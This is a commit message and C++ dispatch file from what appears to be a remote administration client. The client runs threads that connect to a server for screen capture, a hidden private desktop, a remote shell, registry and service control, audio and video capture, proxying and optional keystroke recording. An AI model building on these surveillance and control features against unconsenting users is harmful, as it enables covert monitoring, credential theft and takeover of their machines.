Add a capability-gated main-connection RPC (COMMAND_MCP_WINDOW_INFO=179 / TOKEN_MCP_WINDOW_INFO=180) that returns visible top-level windows with UTF-8 titles, screen rectangles, foreground flag and z-order, so MCP can verify focus before injecting input. New tool get_foreground_window; host_list_windows switches to the richer fields; host_control_window and operate_window gain action=activate; remote_keyboard and remote_mouse gain expect_hwnd, require_foreground and report_foreground. Old clients keep the previous behavior: the RPC is refused up front via CLIENT_CAP_WINDOW_INFO. The client caps a response at 96 windows (about 101 KB, under MAX_SEND_BUFFER). Signal the cut-off in the mode byte (0x80) instead of silently dropping windows: host_list_windows now reports truncated=true and says the list is incomplete, and activate verification reports state=unknown with reason=list_truncated rather than claiming the window is gone. expect_hwnd is checked only after the session is validated, so an invalid session_id no longer burns a window RPC and no longer reports a window error for a session that does not exist. Nullable output fields (foreground, window) are declared as ["object","null"] so strict clients do not reject responses. Co-Authored-By: deepseek-flash
222 lines
6.0 KiB
C++
222 lines
6.0 KiB
C++
#include "StdAfx.h"
|
|
#include "Common.h"
|
|
|
|
#include "Manager.h"
|
|
#include "ScreenManager.h"
|
|
#include "FileManager.h"
|
|
#include "file/FileManager.h"
|
|
#include "screenhide/ScreenHideManager.h"
|
|
#include "DrawingBoardMgr.h"
|
|
#include "TalkManager.h"
|
|
#include "ChatManager.h"
|
|
#include "MachineManager.h"
|
|
#include "ShellManager.h"
|
|
#include "SystemManager.h"
|
|
#include "ConPTYManager.h"
|
|
#include "AudioManager.h"
|
|
#include "RegisterManager.h"
|
|
#include "ServicesManager.h"
|
|
#include "ConnectionsManager.h"
|
|
#include "VideoManager.h"
|
|
#include "KeyboardManager.h"
|
|
#include "ProxyManager.h"
|
|
#include "ClientLogManager.h"
|
|
|
|
#include "KernelManager.h"
|
|
#include <iniFile.h>
|
|
|
|
|
|
DWORD WINAPI ThreadProc(LPVOID lParam)
|
|
{
|
|
THREAD_ARG_LIST ThreadArgList = {0};
|
|
memcpy(&ThreadArgList,lParam,sizeof(THREAD_ARG_LIST));
|
|
SetEvent(ThreadArgList.hEvent);
|
|
|
|
DWORD dwReturn = ThreadArgList.StartAddress(ThreadArgList.lParam);
|
|
return dwReturn;
|
|
}
|
|
|
|
bool ClientActivateWindow(HWND hwnd)
|
|
{
|
|
if (!hwnd || !::IsWindow(hwnd))
|
|
return false;
|
|
|
|
if (::IsIconic(hwnd))
|
|
::ShowWindow(hwnd, SW_RESTORE); // 最小化窗口先还原,否则 SetForegroundWindow 不生效
|
|
else
|
|
::ShowWindow(hwnd, SW_SHOW);
|
|
|
|
HWND fg = ::GetForegroundWindow();
|
|
const DWORD fgThread = fg ? ::GetWindowThreadProcessId(fg, NULL) : 0;
|
|
const DWORD thisThread = ::GetCurrentThreadId();
|
|
const BOOL attached = (fgThread && fgThread != thisThread)
|
|
? ::AttachThreadInput(thisThread, fgThread, TRUE) : FALSE;
|
|
|
|
::BringWindowToTop(hwnd);
|
|
::SetForegroundWindow(hwnd);
|
|
|
|
if (attached)
|
|
::AttachThreadInput(thisThread, fgThread, FALSE);
|
|
|
|
return ::GetForegroundWindow() == hwnd;
|
|
}
|
|
|
|
template <class Manager, int n> DWORD WINAPI LoopManager(LPVOID lParam)
|
|
{
|
|
ThreadInfo *pInfo = (ThreadInfo *)lParam;
|
|
IOCPClient *ClientObject = (IOCPClient *)pInfo->p;
|
|
CONNECT_ADDRESS& g_SETTINGS(*(pInfo->conn));
|
|
ClientObject->SetServerAddress(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
|
|
if (pInfo->run == FOREVER_RUN || ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
|
Manager m(ClientObject, n, pInfo->user);
|
|
pInfo->user = &m;
|
|
ClientObject->RunEventLoop(pInfo->run);
|
|
pInfo->user = NULL;
|
|
}
|
|
delete ClientObject;
|
|
pInfo->p = NULL;
|
|
|
|
return 0;
|
|
}
|
|
|
|
#ifdef _WIN64
|
|
#ifdef _DEBUG
|
|
#pragma comment(lib, "PrivateDesktop_Libx64d.lib")
|
|
#else
|
|
#pragma comment(lib, "PrivateDesktop_Libx64.lib")
|
|
#endif
|
|
#else
|
|
#ifdef _DEBUG
|
|
#pragma comment(lib, "PrivateDesktop_Libd.lib")
|
|
#else
|
|
#pragma comment(lib, "PrivateDesktop_Lib.lib")
|
|
#endif
|
|
#endif
|
|
|
|
DWORD private_desktop(CONNECT_ADDRESS* conn, const State &exit, const std::string& msg, const std::string& signature,
|
|
const std::string& hash, const std::string& hmac, const std::vector<BYTE>& bmpData)
|
|
{
|
|
void ShowBlackWindow(IOCPBase * ClientObject, CONNECT_ADDRESS * conn, const std::string & hash, const std::string & hmac,
|
|
const std::vector<BYTE>& bmpData);
|
|
IOCPClient* ClientObject = new IOCPClient(exit, true, MaskTypeNone, conn);
|
|
if (ClientObject->ConnectServer(conn->ServerIP(), conn->ServerPort())) {
|
|
ClientObject->SetVerifyInfo(msg, signature);
|
|
BYTE bToken[32] = { COMMAND_SCREEN_SPY, USING_DXGI, ALGORITHM_H264, TRUE };
|
|
UserParam* user = new UserParam{ new BYTE[3], 3 };
|
|
memcpy(user->buffer, bToken + 1, 3);
|
|
CScreenManager m(ClientObject, 32, (void*)user, TRUE);
|
|
if (IsWindows8orHigher()) {
|
|
ShowBlackWindow(ClientObject, conn, hash, hmac, bmpData);
|
|
} else {
|
|
ClientObject->RunEventLoop(TRUE);
|
|
}
|
|
}
|
|
delete ClientObject;
|
|
|
|
return 0;
|
|
}
|
|
|
|
DWORD WINAPI LoopScreenManager(LPVOID lParam)
|
|
{
|
|
return LoopManager<CScreenManager, 0>(lParam);
|
|
}
|
|
|
|
DWORD WINAPI LoopFileManager(LPVOID lParam)
|
|
{
|
|
return LoopManager<CFileManager, 0>(lParam);
|
|
}
|
|
|
|
DWORD WINAPI LoopTalkManager(LPVOID lParam)
|
|
{
|
|
return LoopManager<CTalkManager, 0>(lParam);
|
|
}
|
|
|
|
DWORD WINAPI LoopChatManager(LPVOID lParam)
|
|
{
|
|
return LoopManager<CChatManager, 0>(lParam);
|
|
}
|
|
|
|
DWORD WINAPI LoopMachineManager(LPVOID lParam)
|
|
{
|
|
return LoopManager<CMachineManager, 0>(lParam);
|
|
}
|
|
|
|
DWORD WINAPI LoopFileManagerPlugin(LPVOID lParam)
|
|
{
|
|
return LoopManager<SimplePluginsFile::CFileManager, 0>(lParam);
|
|
}
|
|
|
|
DWORD WINAPI LoopPrivateScreenPlugin(LPVOID lParam)
|
|
{
|
|
return LoopManager<SimplePluginsScreenHide::CScreenHideManager, 0>(lParam);
|
|
}
|
|
|
|
DWORD WINAPI LoopDrawingBoardPlugin(LPVOID lParam)
|
|
{
|
|
return LoopManager<SimplePluginsDrawingBoard::DrawingBoardMgr, 0>(lParam);
|
|
}
|
|
|
|
DWORD WINAPI LoopShellManager(LPVOID lParam)
|
|
{
|
|
// Use ConPTY for xterm.js terminal on Windows 10 1809+, fallback to legacy pipe
|
|
if (CConPTYManager::IsConPTYSupported()) {
|
|
return LoopManager<CConPTYManager, 0>(lParam);
|
|
}
|
|
return LoopManager<CShellManager, 0>(lParam);
|
|
}
|
|
|
|
DWORD WINAPI LoopProcessManager(LPVOID lParam)
|
|
{
|
|
return LoopManager<CSystemManager, COMMAND_SYSTEM>(lParam);
|
|
}
|
|
|
|
DWORD WINAPI LoopWindowManager(LPVOID lParam)
|
|
{
|
|
return LoopManager<CSystemManager, COMMAND_WSLIST>(lParam);
|
|
}
|
|
|
|
DWORD WINAPI LoopVideoManager(LPVOID lParam)
|
|
{
|
|
return LoopManager<CVideoManager, 0>(lParam);
|
|
}
|
|
|
|
DWORD WINAPI LoopAudioManager(LPVOID lParam)
|
|
{
|
|
return LoopManager<CAudioManager, 0>(lParam);
|
|
}
|
|
|
|
DWORD WINAPI LoopRegisterManager(LPVOID lParam)
|
|
{
|
|
return LoopManager<CRegisterManager, 0>(lParam);
|
|
}
|
|
|
|
DWORD WINAPI LoopServicesManager(LPVOID lParam)
|
|
{
|
|
return LoopManager<CServicesManager, 0>(lParam);
|
|
}
|
|
|
|
DWORD WINAPI LoopConnectionManager(LPVOID lParam)
|
|
{
|
|
return LoopManager<CConnectionsManager, 0>(lParam);
|
|
}
|
|
|
|
DWORD WINAPI LoopKeyboardManager(LPVOID lParam)
|
|
{
|
|
iniFile cfg(CLIENT_PATH);
|
|
std::string s = cfg.GetStr("settings", "kbrecord", "No");
|
|
if (s == "Yes") {
|
|
return LoopManager<CKeyboardManager1, 1>(lParam);
|
|
}
|
|
return LoopManager<CKeyboardManager1, 0>(lParam);
|
|
}
|
|
|
|
DWORD WINAPI LoopProxyManager(LPVOID lParam)
|
|
{
|
|
return LoopManager<CProxyManager, 0>(lParam);
|
|
}
|
|
|
|
DWORD WINAPI LoopClientLogManager(LPVOID lParam)
|
|
{
|
|
return LoopManager<CClientLogManager, COMMAND_QUERY_LOG>(lParam);
|
|
}
|